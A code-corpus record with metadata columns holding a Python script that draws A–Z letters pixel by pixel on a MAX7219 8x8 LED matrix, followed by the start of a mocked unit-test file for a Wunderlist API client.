| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 15
|
b46de8774d1b0667781a51f3ff88935467f36c27
| 28,224
|
py
|
Python
|
led8x8.py
|
MrRoot-6/Max7219
|
6826fc4c1821936f24ad55a50810e007374faf1a
|
[
"BSD-2-Clause"
] | null | null | null |
led8x8.py
|
MrRoot-6/Max7219
|
6826fc4c1821936f24ad55a50810e007374faf1a
|
[
"BSD-2-Clause"
] | null | null | null |
led8x8.py
|
MrRoot-6/Max7219
|
6826fc4c1821936f24ad55a50810e007374faf1a
|
[
"BSD-2-Clause"
] | null | null | null |
import time
import getopt
import sys
from luma.core.interface.serial import spi, noop
from luma.core.render import canvas
from luma.led_matrix.device import max7219
global timeOfWait
global rotation
global word
global sep
timeOfWait = 1
rotation = 0
word = False
sep = 0.1
if not len(sys.argv[1:]):
sys.exit(0)
try:
opts, args = getopt.getopt(sys.argv[1:], "t:r:w:s:", ["time", "rotation", "word", "separator"])
except getopt.GetoptError as err:
print(err)
sys.exit(0)
for o, a in opts:
if o in ("-t"):
timeOfWait = float(a)
elif o in ("-r"):
rotation = int(a)
elif o in ("-w"):
word = str(a).upper()
elif o in ("-s"):
sep = float(a)
if not word:
print("Please specify word!!!")
def show_letter(letter):
if letter == "A":
with canvas(device) as draw: #A
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((5,5), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((2,3), fill="red")
draw.point((2,4), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "B":
with canvas(device) as draw: #B
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((6,1), fill="red")
draw.point((6,4), fill="red")
draw.point((5,1), fill="red")
draw.point((5,4), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,3), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((2,1), fill="red")
draw.point((2,4), fill="red")
draw.point((1,1), fill="red")
draw.point((1,4), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
time.sleep(timeOfWait)
elif letter == "C":
with canvas(device) as draw: #C
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "D":
with canvas(device) as draw: #D
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((5,1), fill="red")
draw.point((5,5), fill="red")
draw.point((4,1), fill="red")
draw.point((4,5), fill="red")
draw.point((3,1), fill="red")
draw.point((3,5), fill="red")
draw.point((2,1), fill="red")
draw.point((2,5), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
time.sleep(timeOfWait)
elif letter == "E":
with canvas(device) as draw: #E
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "F":
with canvas(device) as draw: #F
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
time.sleep(timeOfWait)
elif letter == "G":
with canvas(device) as draw:#g
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((5,1), fill="red")
draw.point((4,1), fill="red")
draw.point((3,1), fill="red")
draw.point((3,4), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "H":
with canvas(device) as draw:#h
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((5,5), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "I":
with canvas(device) as draw:#i
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((5,3), fill="red")
draw.point((5,4), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((2,3), fill="red")
draw.point((2,4), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
time.sleep(timeOfWait)
elif letter == "J":
with canvas(device) as draw: #j
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,5), fill="red")
draw.point((5,6), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "K":
with canvas(device) as draw: #k
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((5,3), fill="red")
draw.point((5,4), fill="red")
draw.point((5,5), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((2,3), fill="red")
draw.point((2,4), fill="red")
draw.point((2,5), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "L":
with canvas(device) as draw: #l
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "M":
with canvas(device) as draw: #m
draw.point((7,1), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,3), fill="red")
draw.point((5,4), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "N":
with canvas(device) as draw:#n
draw.point((7,1), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,3), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,4), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,4), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "O":
with canvas(device) as draw: #o
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((5,5), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
draw.point((0,5), fill="red")
time.sleep(timeOfWait)
elif letter == "P":
with canvas(device) as draw: #p
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((5,5), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((2,3), fill="red")
draw.point((2,4), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
time.sleep(timeOfWait)
elif letter == "Q":
with canvas(device) as draw:#q
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((6,1), fill="red")
draw.point((6,5), fill="red")
draw.point((5,1), fill="red")
draw.point((5,5), fill="red")
draw.point((4,1), fill="red")
draw.point((4,5), fill="red")
draw.point((3,1), fill="red")
draw.point((3,5), fill="red")
draw.point((2,1), fill="red")
draw.point((2,5), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "R":
with canvas(device) as draw:#r
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((5,5), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((2,3), fill="red")
draw.point((2,4), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "S":
with canvas(device) as draw:#s
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "T":
with canvas(device) as draw:#t
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,3), fill="red")
draw.point((6,4), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,3), fill="red")
draw.point((5,4), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((2,3), fill="red")
draw.point((2,4), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
time.sleep(timeOfWait)
elif letter == "U":
with canvas(device) as draw:#u
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((5,5), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,2), fill="red")
draw.point((4,5), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,2), fill="red")
draw.point((3,5), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "V":
with canvas(device) as draw:#v
draw.point((7,1), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((2,5), fill="red")
draw.point((2,6), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
time.sleep(timeOfWait)
elif letter == "W":
with canvas(device) as draw:#w
draw.point((7,1), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,6), fill="red")
draw.point((4,1), fill="red")
draw.point((4,6), fill="red")
draw.point((3,1), fill="red")
draw.point((3,6), fill="red")
draw.point((2,1), fill="red")
draw.point((2,3), fill="red")
draw.point((2,4), fill="red")
draw.point((2,6), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "X":
with canvas(device) as draw:#x
draw.point((7,1), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,2), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,2), fill="red")
draw.point((5,3), fill="red")
draw.point((5,4), fill="red")
draw.point((5,5), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((2,2), fill="red")
draw.point((2,3), fill="red")
draw.point((2,4), fill="red")
draw.point((2,5), fill="red")
draw.point((1,1), fill="red")
draw.point((1,2), fill="red")
draw.point((1,5), fill="red")
draw.point((1,6), fill="red")
draw.point((0,1), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
elif letter == "Y":
with canvas(device) as draw:#y
draw.point((7,1), fill="red")
draw.point((7,6), fill="red")
draw.point((6,1), fill="red")
draw.point((6,6), fill="red")
draw.point((5,1), fill="red")
draw.point((5,2), fill="red")
draw.point((5,5), fill="red")
draw.point((5,6), fill="red")
draw.point((4,2), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((4,5), fill="red")
draw.point((3,3), fill="red")
draw.point((3,4), fill="red")
draw.point((2,3), fill="red")
draw.point((2,4), fill="red")
draw.point((1,3), fill="red")
draw.point((1,4), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
time.sleep(timeOfWait)
elif letter == "Z":
with canvas(device) as draw:#z
draw.point((7,1), fill="red")
draw.point((7,2), fill="red")
draw.point((7,3), fill="red")
draw.point((7,4), fill="red")
draw.point((7,5), fill="red")
draw.point((7,6), fill="red")
draw.point((6,5), fill="red")
draw.point((6,6), fill="red")
draw.point((5,4), fill="red")
draw.point((5,5), fill="red")
draw.point((4,3), fill="red")
draw.point((4,4), fill="red")
draw.point((3,2), fill="red")
draw.point((3,3), fill="red")
draw.point((2,1), fill="red")
draw.point((2,2), fill="red")
draw.point((1,1), fill="red")
draw.point((0,1), fill="red")
draw.point((0,2), fill="red")
draw.point((0,3), fill="red")
draw.point((0,4), fill="red")
draw.point((0,5), fill="red")
draw.point((0,6), fill="red")
time.sleep(timeOfWait)
else:
time.sleep(timeOfWait)
serial = spi(port=0, device=0, gpio=noop())
device = max7219(serial, rotate=rotation)
if word:
for i in range(len(word)):
if word[i] > 'z' or word[i] < 'A':
time.sleep(timeOfWait)
elif word[i] != " ":
show_letter(word[i])
elif word[i] == " ":
time.sleep(timeOfWait)
with canvas(device) as draw:
draw.point((8,8), fill="black")
time.sleep(sep)
| 31.605823
| 98
| 0.539966
| 4,873
| 28,224
| 3.126821
| 0.019906
| 0.431187
| 0.507515
| 0.738203
| 0.949006
| 0.910022
| 0.910022
| 0.906215
| 0.906215
| 0.906215
| 0
| 0.064174
| 0.183992
| 28,224
| 893
| 99
| 31.605823
| 0.597412
| 0.000957
| 0
| 0.920468
| 0
| 0
| 0.083761
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.00117
| false
| 0
| 0.007018
| 0
| 0.008187
| 0.002339
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
b47a50d05ed34145d98c5e8815a0f247e741bef9
| 12,357
|
py
|
Python
|
tests/test_wunderlist.py
|
hameedullah/wunderlist-python
|
3018570627b60b4985e22d9825a2b278f526662b
|
[
"MIT"
] | null | null | null |
tests/test_wunderlist.py
|
hameedullah/wunderlist-python
|
3018570627b60b4985e22d9825a2b278f526662b
|
[
"MIT"
] | null | null | null |
tests/test_wunderlist.py
|
hameedullah/wunderlist-python
|
3018570627b60b4985e22d9825a2b278f526662b
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# −*− coding: UTF−8 −*−
import unittest
from httmock import HTTMock
import wunderlist
import wlmock
# TODO: Organize End points tests into their own classes
class TestWunderlist(unittest.TestCase):
"""Basic Unit Test Class for Wunderlist Class"""
def setUp(self):
self.wunderlist = wunderlist.Wunderlist("client_id")
# TODO: Add Access Token check probably?
self.wunderlist.setAccessToken("access_token")
#@with_httmock(wlmock.api_endpoint)
def test_get_user(self):
email = 'test@domain.com'
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetUser()
self.assertNotEqual(results, None)
self.assertIsInstance(results, dict)
self.assertNotEqual(results, {})
self.assertTrue('id' in results)
self.assertTrue('name' in results)
self.assertTrue('email' in results)
self.assertEqual(results['email'], email)
def test_get_folders(self):
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetFolders()
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue(len(results), 2)
self.assertTrue('title' in results[0])
def test_get_folders_folder_id(self):
folder_id = "7654321"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetFolders(folder_id=folder_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, dict)
self.assertTrue('id' in results)
self.assertTrue('title' in results)
self.assertTrue('list_ids' in results)
def test_get_lists(self):
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetLists()
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue(len(results), 2)
self.assertTrue('title' in results[0])
self.assertTrue('title' in results[1])
def test_get_lists_list_id(self):
list_id = "12345678"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetLists(list_id=list_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, dict)
self.assertTrue('id' in results)
self.assertTrue('title' in results)
def test_get_notes_no_param(self):
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetNotes()
self.assertEqual(results, None)
def test_get_notes_task_id(self):
task_id = "1234567890"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetNotes(task_id=task_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue(len(results), 1)
self.assertTrue('content' in results[0])
self.assertEqual(results[0]['type'], 'note')
def test_get_notes_list_id(self):
list_id = "12345678"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetNotes(list_id=list_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue(len(results), 1)
self.assertTrue('content' in results[0])
self.assertEqual(results[0]['type'], 'note')
def test_get_notes_note_id(self):
note_id = "123456789"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetNotes(note_id=note_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, dict)
self.assertTrue('content' in results)
self.assertEqual(results['type'], 'note')
def test_get_list_positions(self):
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetListPositions()
self.assertNotEqual(results, None)
